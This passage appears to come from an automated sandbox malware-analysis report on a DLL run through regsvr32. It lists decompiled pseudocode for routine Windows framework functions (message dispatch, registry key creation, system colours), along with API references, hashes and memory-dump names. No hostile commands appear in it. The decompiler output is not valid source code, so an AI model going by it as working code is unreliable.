								SendMessageA(_v4, 0x121, 0,  *(_t67 + 0x20));
							}
						}
					}
					__eflags = _a4 & 0x00000002;
					if(__eflags != 0) {
						L13:
						_v12 = 0;
						continue;
					} else {
						_t56 = SendMessageA( *(_t67 + 0x20), 0x36a, 0, _v16);
						_v16 = _v16 + 1;
						__eflags = _t56;
						if(__eflags != 0) {
							continue;
						}
						goto L13;
					}
				}
				goto L15;
			}

0x1000f6f2
0x1000f6fb
0x1000f703
0x1000f705
0x1000f709
0x1000f70d
0x1000f71b
0x1000f71b
0x1000f720
0x1000f726
0x1000f72a
0x1000f72e
0x1000f733
0x1000f739
0x1000f7b1
0x1000f7b1
0x1000f7b1
0x1000f7b5
0x00000000
0x00000000
0x1000f74d
0x1000f74f
0x1000f7b7
0x1000f7b7
0x1000f7b7
0x1000f7be
0x00000000
0x00000000
0x1000f7c2
0x1000f7c8
0x1000f7d0
0x1000f7dd
0x1000f7e5
0x1000f7e7
0x1000f7e7
0x1000f7d0
0x1000f7eb
0x1000f7ed
0x1000f7f3
0x1000f7f5
0x1000f830
0x1000f830
0x1000f830
0x00000000
0x1000f7f7
0x1000f7fb
0x1000f802
0x1000f803
0x1000f805
0x1000f80d
0x1000f80d
0x1000f821
0x00000000
0x1000f823
0x00000000
0x1000f823
0x1000f821
0x1000f7f5
0x1000f825
0x1000f826
0x00000000
0x1000f82b
0x1000f751
0x1000f753
0x1000f757
0x1000f759
0x1000f761
0x1000f763
0x1000f763
0x1000f763
0x1000f765
0x1000f76a
0x1000f76c
0x1000f770
0x1000f772
0x1000f776
0x1000f785
0x1000f785
0x1000f776
0x1000f770
0x1000f78b
0x1000f790
0x1000f7ad
0x1000f7ad
0x00000000
0x1000f792
0x1000f79f
0x1000f7a5
0x1000f7a9
0x1000f7ab
0x00000000
0x00000000
0x00000000
0x1000f7ab
0x1000f790
0x00000000

APIs

GetParent.USER32(?), ref: 1000F720
PeekMessageA.USER32 ref: 1000F747
UpdateWindow.USER32(?), ref: 1000F761
SendMessageA.USER32 ref: 1000F785
SendMessageA.USER32 ref: 1000F79F
UpdateWindow.USER32(?), ref: 1000F7E5
PeekMessageA.USER32 ref: 1000F819

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction ID: ecef1c15dac149fec5e590ec2565d957468d58fa3f8c06f10f68a2e84cd0c50c
Opcode Fuzzy Hash: 1a7b99641fbd6274f08d233d62057ee23ad71d0a046cd1d00a2b03b8b2250d72
Instruction Fuzzy Hash: 3041C1312087429BE711CF258C88A2BBAF4FFC5BD4F10092DF589928A4DB71D946EB53

Uniqueness

Uniqueness Score: -1.00%

Function 1000AE8A, Relevance: 10.6, APIs: 7, Instructions: 111
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E1000AE8A(int __ebx, long __ecx, struct HWND__* __edi) {
				long _v4;
				char _v28;
				intOrPtr _v40;
				void* __esi;
				void* __ebp;
				long _t20;
				long _t21;
				struct HWND__* _t22;
				long _t23;
				struct HWND__* _t24;
				long _t25;
				struct HWND__* _t26;
				void* _t33;
				void* _t35;
				long _t39;
				long _t41;
				intOrPtr _t43;
				struct HWND__* _t47;
				struct HWND__* _t49;
				long _t51;
				long _t53;

				_t46 = __edi;
				_t39 = __ecx;
				_t37 = __ebx;
				if( *((intOrPtr*)(__ecx + 0x78)) == 0) {
					_t51 = E1000A7CE();
					__eflags = _t51;
					if(_t51 != 0) {
						_t20 =  *((intOrPtr*)( *_t51 + 0x120))();
						__eflags = _t20;
						_t41 = _t51;
						_pop(_t52);
						if(_t20 != 0) {
							_t53 = _t41;
							_t21 =  *(_t53 + 0x64);
							__eflags = _t21;
							if(_t21 == 0) {
								_pop(_t52);
								goto L12;
							} else {
								__eflags = _t21 - 0x3f107;
								if(__eflags != 0) {
									_t35 = E1000D5EC(__ebx, __edi, _t53, __eflags);
									_t21 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t35 + 4)))) + 0xac))( *(_t53 + 0x64), 1);
								}
								return _t21;
							}
						} else {
							L12:
							_push(_t41);
							_push(_t37);
							_push(0);
							_push(_t52);
							_push(_t46);
							_v4 = _t41;
							_t22 = GetCapture();
							_t51 = SendMessageA;
							_t37 = 0x365;
							while(1) {
								_t47 = _t22;
								__eflags = _t47;
								if(_t47 == 0) {
									break;
								}
								_t23 = SendMessageA(_t47, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									L27:
									return _t23;
								} else {
									_t22 = E10010DA7(_t41, _t47, __eflags, _t47);
									continue;
								}
								goto L33;
							}
							_t24 = GetFocus();
							while(1) {
								_t46 = _t24;
								__eflags = _t46;
								if(_t46 == 0) {
									break;
								}
								_t23 = SendMessageA(_t46, _t37, 0, 0);
								__eflags = _t23;
								if(__eflags != 0) {
									goto L27;
								} else {
									_t24 = E10010DA7(_t41, _t46, __eflags, _t46);
									continue;
								}
								goto L33;
							}
							_t39 = _v4;
							_t25 = E10010DEC(_t37, _t39, _t46);
							__eflags = _t25;
							if(_t25 != 0) {
								_t26 = GetLastActivePopup( *(_t25 + 0x20));
								while(1) {
									_t49 = _t26;
									__eflags = _t49;
									_push(0);
									if(_t49 == 0) {
										break;
									}
									_t23 = SendMessageA(_t49, _t37, 0, ??);
									__eflags = _t23;
									if(__eflags == 0) {
										_t26 = E10010DA7(_t39, _t49, __eflags, _t49);
										continue;
									}
									goto L27;
								}
								_t23 = SendMessageA( *(_v4 + 0x20), 0x111, 0xe147, ??);
								goto L27;
							} else {
								goto L1;
							}
						}
					} else {
						L1:
						_push(0);
						_push(_t39);
						_v28 = 0x10057298;
						E10017C83( &_v28, 0x1002e2fc);
						asm("int3");
						_push(4);
						E10017BC1(E10027DEC, _t37, _t46, _t51);
						_t43 = E10013965(0x104);
						_v40 = _t43;
						_t33 = 0;
						_v28 = 0;
						if(_t43 != 0) {
							_t33 = E1000CF71(_t43);
						}
						return E10017C60(_t33);
					}
				} else {
					__eflags = __eax - 0x3f107;
					if(__eax != 0x3f107) {
						return  *((intOrPtr*)( *__ecx + 0xac))(__eax, 1);
					}
					return __eax;
				}
				L33:
			}

0x1000ae8a
0x1000ae8a
0x1000ae8a
0x1000ae8f
0x1000aeaa
0x1000aeac
0x1000aeae
0x1000aeb9
0x1000aebf
0x1000aec1
0x1000aec3
0x1000aec4
0x100142c8
0x100142ca
0x100142cd
0x100142cf
0x100142f1
0x00000000
0x100142d1
0x100142d1
0x100142d6
0x100142d8
0x100142e9
0x100142e9
0x100142f0
0x100142f0
0x1000aec6
0x10014229
0x10014229
0x1001422a
0x1001422b
0x1001422c
0x1001422d
0x1001422e
0x10014232
0x10014238
0x1001423e
0x10014257
0x10014257
0x10014259
0x1001425b
0x00000000
0x00000000
0x1001424b
0x1001424d
0x1001424f
0x100142c1
0x100142c6
0x10014251
0x10014252
0x00000000
0x10014252
0x00000000
0x1001424f
0x1001425d
0x10014275
0x10014275
0x10014277
0x10014279
0x00000000
0x00000000
0x10014269
0x1001426b
0x1001426d
0x00000000
0x1001426f
0x10014270
0x00000000
0x10014270
0x00000000
0x1001426d
0x1001427b
0x1001427f
0x10014284
0x10014286
0x10014290
0x100142a7
0x100142a7
0x100142a9
0x100142ab
0x100142ac
0x00000000
0x00000000
0x1001429b
0x1001429d
0x1001429f
0x100142a2
0x00000000
0x100142a2
0x00000000
0x1001429f
0x100142bf
0x00000000
0x10014288
0x00000000
0x10014288
0x10014286
0x1000aeb0
0x1000a0db
0x1000a0db
0x1000a0de
0x1000a0e8
0x1000a0ef
0x1000a0f4
0x1000a0f5
0x1000a0fc
0x1000a10b
0x1000a10d
0x1000a110
0x1000a114
0x1000a117
0x1000a119
0x1000a119
0x1000a123
0x1000a123
0x1000ae91
0x1000ae91
0x1000ae96
0x00000000
0x1000ae9d
0x1000aea3
0x1000aea3
0x00000000

APIs

GetCapture.USER32 ref: 10014232
SendMessageA.USER32 ref: 1001424B
GetFocus.USER32 ref: 1001425D
SendMessageA.USER32 ref: 10014269
GetLastActivePopup.USER32(?), ref: 10014290
SendMessageA.USER32 ref: 1001429B
SendMessageA.USER32 ref: 100142BF

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: MessageSend$ActiveCaptureFocusLastPopup
String ID:
API String ID: 3219385341-0
Opcode ID: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction ID: 33038f709047c962cd6e8134d606cff9e197d9281aa775ba373aba56dbca1b45
Opcode Fuzzy Hash: ece27361fccefe4c1d9af4d39d412bb8da5438b11630c38f166ec2a3b357e9a2
Instruction Fuzzy Hash: D031E331300256EBE611EB24DC84E6E7AEDEF866D5B630629F841DF160CF71ECC19661

Uniqueness

Uniqueness Score: -1.00%

Function 1000FC8A, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000FC8A(intOrPtr* __ecx) {
				struct HWND__* _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t43;
				struct HWND__* _t48;
				long _t61;
				intOrPtr* _t63;
				signed int _t64;
				void* _t69;
				intOrPtr _t71;
				intOrPtr* _t72;

				_t72 = __ecx;
				_t69 = E1000B510();
				if(_t69 != 0) {
					if( *((intOrPtr*)(_t69 + 0x20)) == __ecx) {
						 *((intOrPtr*)(_t69 + 0x20)) = 0;
					}
					if( *((intOrPtr*)(_t69 + 0x24)) == _t72) {
						 *((intOrPtr*)(_t69 + 0x24)) = 0;
					}
				}
				_t63 =  *((intOrPtr*)(_t72 + 0x48));
				if(_t63 != 0) {
					 *((intOrPtr*)( *_t63 + 0x50))();
					 *((intOrPtr*)(_t72 + 0x48)) = 0;
				}
				_t64 =  *(_t72 + 0x4c);
				if(_t64 != 0) {
					 *((intOrPtr*)( *_t64 + 4))(1);
				}
				 *(_t72 + 0x4c) =  *(_t72 + 0x4c) & 0x00000000;
				_t83 =  *(_t72 + 0x3c) & 1;
				if(( *(_t72 + 0x3c) & 1) != 0) {
					_t71 =  *((intOrPtr*)(E1000D61F(1, _t64, _t69, _t72, _t83) + 0x3c));
					if(_t71 != 0) {
						_t85 =  *(_t71 + 0x20);
						if( *(_t71 + 0x20) != 0) {
							E100174D0(_t71,  &_v52, 0, 0x30);
							_t48 =  *(_t72 + 0x20);
							_v44 = _t48;
							_v40 = _t48;
							_v52 = 0x28;
							_v48 = 1;
							SendMessageA( *(_t71 + 0x20), 0x405, 0,  &_v52);
						}
					}
				}
				_t61 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				E1000FAB8(_t61, _t72, GetWindowLongA, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t61) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf0))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E1000FBD6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x114))();
			}

0x1000fc93
0x1000fc9a
0x1000fca0
0x1000fca5
0x1000fcca
0x1000fcca
0x1000fcd0
0x1000fcd2
0x1000fcd2
0x1000fcd0
0x1000fcd5
0x1000fcda
0x1000fcde
0x1000fce1
0x1000fce1
0x1000fce4
0x1000fcec
0x1000fcf1
0x1000fcf1
0x1000fcf4
0x1000fcf8
0x1000fcfb
0x1000fd02
0x1000fd07
0x1000fd09
0x1000fd0d
0x1000fd17
0x1000fd1c
0x1000fd22
0x1000fd25
0x1000fd36
0x1000fd3d
0x1000fd40
0x1000fd40
0x1000fd0d
0x1000fd07
0x1000fd56
0x1000fd58
0x1000fd67
0x1000fd73
0x1000fd77
0x1000fd7f
0x1000fd7f
0x1000fd77
0x1000fd87
0x1000fd9a

APIs

_memset.LIBCMT ref: 1000FD17
SendMessageA.USER32 ref: 1000FD40
GetWindowLongA.USER32 ref: 1000FD52
GetWindowLongA.USER32 ref: 1000FD63
SetWindowLongA.USER32(?,000000FC,?), ref: 1000FD7F

Strings

(, xrefs: 1000FD36

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: (
API String ID: 2997958587-3887548279
Opcode ID: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction ID: 83308454b4964f7b832e75e01b7e263ef3bf02c7b32fea1d5a5d450cbed2f8d3
Opcode Fuzzy Hash: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction Fuzzy Hash: 2E31B0756006159FEB14EF68C985A6EB7F9FF082D0F15052EE9469BA95EB30F800CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013E40, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013E40(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x10013e5b
0x10013e62
0x10013e65
0x10013e68
0x10013e6b
0x10013e76
0x10013ead
0x10013ead
0x10013eb8
0x10013ebd
0x10013ebd
0x10013ec2
0x10013ec7
0x10013ec7
0x10013ed0

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 10013E6E
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013E91
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013EAD
RegCloseKey.ADVAPI32(?), ref: 10013EBD
RegCloseKey.ADVAPI32(?), ref: 10013EC7

Strings

software, xrefs: 10013E56

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction ID: 4673323d0336752e6ce9d3e664aa048b12ff1b48ba7cb76d312e9863fa3d259e
Opcode Fuzzy Hash: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction Fuzzy Hash: 7711B676D00259BBDB11DB9ACD88DDFBFFCEF85740B1040AAA504A2121D2719A55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 10013CEE, Relevance: 10.6, APIs: 7, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E10013CEE(void* __ecx, long* __edi, void* __esi) {
				long _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t33;
				signed int _t35;
				long* _t40;
				void* _t41;
				void* _t42;

				_t41 = __esi;
				_t40 = __edi;
				_t31 = __ecx;
				LeaveCriticalSection( *((intOrPtr*)(_t42 - 0x18)) + 0x1c);
				E10017C83(0, 0);
				_t22 = E100134F9(_t31, 0, __edi[3], 4);
				_t33 = 2;
				_t23 = LocalReAlloc( *(__esi + 0xc), _t22, ??);
				_t46 = _t23;
				if(_t23 == 0) {
					LeaveCriticalSection( *(_t42 - 0x14));
					_t23 = E1000A0A7(0, _t33, __edi, __esi, _t46);
				}
				 *(_t41 + 0xc) = _t23;
				E100174D0(_t40, _t23 +  *(_t41 + 8) * 4, 0, _t40[3] -  *(_t41 + 8) << 2);
				 *(_t41 + 8) = _t40[3];
				TlsSetValue( *_t40, _t41);
				_t35 =  *(_t42 + 8);
				_t28 =  *(_t41 + 0xc);
				if(_t28 != 0 && _t35 <  *(_t41 + 8)) {
					 *((intOrPtr*)(_t28 + _t35 * 4)) =  *((intOrPtr*)(_t42 + 0xc));
				}
				_push( *(_t42 - 0x14));
				LeaveCriticalSection();
				return E10017C60(_t28);
			}

0x10013cee
0x10013cee
0x10013cee
0x10013cf5
0x10013cff
0x10013d0b
0x10013d11
0x10013d16
0x10013d1c
0x10013d1e
0x10013d23
0x10013d29
0x10013d29
0x10013d31
0x10013d42
0x10013d4e
0x10013d53
0x10013d59
0x10013d5c
0x10013d61
0x10013d6b
0x10013d6b
0x10013d6e
0x10013d74
0x10013d7f

APIs

LeaveCriticalSection.KERNEL32(?), ref: 10013CF5
__CxxThrowException@8.LIBCMT ref: 10013CFF

Part of subcall function 10017C83: RaiseException.KERNEL32(?,?,?,?), ref: 10017CC3

LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004), ref: 10013D16
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23

Part of subcall function 1000A0A7: __CxxThrowException@8.LIBCMT ref: 1000A0BB

_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalLeaveSection$Exception@8Throw$AllocExceptionLocalRaiseValue_memset
String ID:
API String ID: 356813703-0
Opcode ID: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction ID: da2c65ce7076d342f4508b5b0ea9d94b5e5006c79099ef9a6e76071fa7915ca4
Opcode Fuzzy Hash: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction Fuzzy Hash: BD118E7450060AAFE710EF65DC8AC1BBBB9FF04354720C128F4599A566CB30ECA0CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013810, Relevance: 10.5, APIs: 7, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013810(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x1001381a
0x10013820
0x10013827
0x1001382e
0x10013835
0x10013842
0x10013849
0x1001384c
0x1001384f
0x10013853

APIs

GetSysColor.USER32(0000000F), ref: 1001381C
GetSysColor.USER32(00000010), ref: 10013823
GetSysColor.USER32(00000014), ref: 1001382A
GetSysColor.USER32(00000012), ref: 10013831
GetSysColor.USER32(00000006), ref: 10013838
GetSysColorBrush.USER32(0000000F), ref: 10013845
GetSysColorBrush.USER32(00000006), ref: 1001384C

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction ID: 74b272bfbd302397870cb0a2abf86f81c97ca9371361d4e5ce15514e9afb48cd
Opcode Fuzzy Hash: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction Fuzzy Hash: E8F01C71940748ABE730BF728D49B47BAE5FFC4B10F12092ED2858BA90E6B6E041DF40

Uniqueness

Uniqueness Score: -1.00%

Function 10028DE5, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10028DE5() {
				long _t5;
				int _t6;

				if((0x80000000 & GetVersion()) == 0 || GetVersion() != 4) {
					_t5 = GetVersion();
					if((0x80000000 & _t5) != 0) {
						L5:
						 *0x1005acc4 =  *0x1005acc4 & 0x00000000;
						return _t5;
					}
					_t5 = GetVersion();
					if(_t5 != 3) {
						goto L5;
					}
					goto L4;
				} else {
					L4:
					_t6 = RegisterWindowMessageA("MSWHEEL_ROLLMSG");
					 *0x1005acc4 = _t6;
					return _t6;
				}
			}

0x10028df6
0x10028e00
0x10028e04
0x10028e20
0x10028e20
0x00000000
0x10028e20
0x10028e06
0x10028e0c
0x00000000
0x00000000
0x00000000
0x10028e0e
0x10028e0e
0x10028e13
0x10028e19
0x00000000
0x10028e19

APIs

GetVersion.KERNEL32 ref: 10028DED
GetVersion.KERNEL32 ref: 10028DF8
GetVersion.KERNEL32 ref: 10028E00
GetVersion.KERNEL32 ref: 10028E06
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 10028E13

Strings

MSWHEEL_ROLLMSG, xrefs: 10028E0E

Memory Dump Source

Source File: 00000006.00000002.288201132.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.288196907.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288227262.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.288233749.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000006.00000002.288250465.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288256345.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.288260562.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_regsvr32.jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction ID: a1cfe5ae80d7d924f96357e0403be069d270e7200ca7c890729efff85db7b39d
Opcode Fuzzy Hash: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction Fuzzy Hash: 34E0D83E80213792F700A374AD0034939D5DB442E0F930066ED0042258CB24098747A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000C209, Relevance: 9.1, APIs: 6, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E1000C209(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t37;
				signed int _t54;
				intOrPtr _t57;
				long _t60;
				struct HWND__* _t63;
				CHAR* _t64;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				long _t73;
				void* _t74;
				void* _t75;
				signed int _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t71 = __edx;
				_t79 = _t81 - 0x9c;
				_t37 =  *0x10057a08; // 0xce1c5b24
				 *(_t79 + 0x98) = _t37 ^ _t79;
				_t73 =  *(_t79 + 0xa4);
				_t77 = 0;
				 *((intOrPtr*)(_t79 - 0x80)) =  *((intOrPtr*)(_t79 + 0xa8));
				E1000C12A(0);
				_t67 = _t72;
				_t63 = E1000C15E(0, _t79 - 0x70);
				 *(_t79 - 0x7c) = _t63;
				if(_t63 !=  *(_t79 - 0x70)) {
					EnableWindow(_t63, 1);
				}
				 *(_t79 - 0x78) =  *(_t79 - 0x78) & _t77;
				GetWindowThreadProcessId(_t63, _t79 - 0x78);
				if(_t63 == 0 ||  *(_t79 - 0x78) != GetCurrentProcessId()) {
					L6:
					__eflags = _t73;
					if(__eflags != 0) {
						_t77 = _t73 + 0x78;
					}
					goto L8;
				} else {
					_t60 = SendMessageA(_t63, 0x376, 0, 0);
					if(_t60 == 0) {
						goto L6;
					} else {
						_t77 = _t60;
						L8:
						 *(_t79 - 0x74) =  *(_t79 - 0x74) & 0x00000000;
						if(_t77 != 0) {
							 *(_t79 - 0x74) =  *_t77;
							_t57 =  *((intOrPtr*)(_t79 + 0xb0));
							if(_t57 != 0) {
								 *_t77 = _t57 + 0x30000;
							}
						}
						if(( *(_t79 + 0xac) & 0x000000f0) == 0) {
							_t54 =  *(_t79 + 0xac) & 0x0000000f;
							if(_t54 <= 1) {
								_t24 = _t79 + 0xac;
								 *_t24 =  *(_t79 + 0xac) | 0x00000030;
								__eflags =  *_t24;
							} else {
								if(_t54 + 0xfffffffd <= 1) {
									 *(_t79 + 0xac) =  *(_t79 + 0xac) | 0x00000020;
								}
							}
						}
						_t96 = _t73;
						 *(_t79 - 0x6c) = 0;
						if(_t73 == 0) {
							_t64 = _t79 - 0x6c;
							_t73 = 0x104;
							__eflags = GetModuleFileNameA(0, _t64, 0x104) - 0x104;
							if(__eflags == 0) {
								 *((char*)(_t79 + 0x97)) = 0;
							}
						} else {
							_t64 =  *(_t73 + 0x50);
						}
						_push( *(_t79 + 0xac));
						_push(_t64);
						_push( *((intOrPtr*)(_t79 - 0x80)));
						_push( *(_t79 - 0x7c));
						_t74 = E1000C093(_t64, _t67, _t73, _t77, _t96);
						if(_t77 != 0) {
							 *_t77 =  *(_t79 - 0x74);
						}
						if( *(_t79 - 0x70) != 0) {
							EnableWindow( *(_t79 - 0x70), 1);
						}
						E1000C12A(1);
						_pop(_t75);
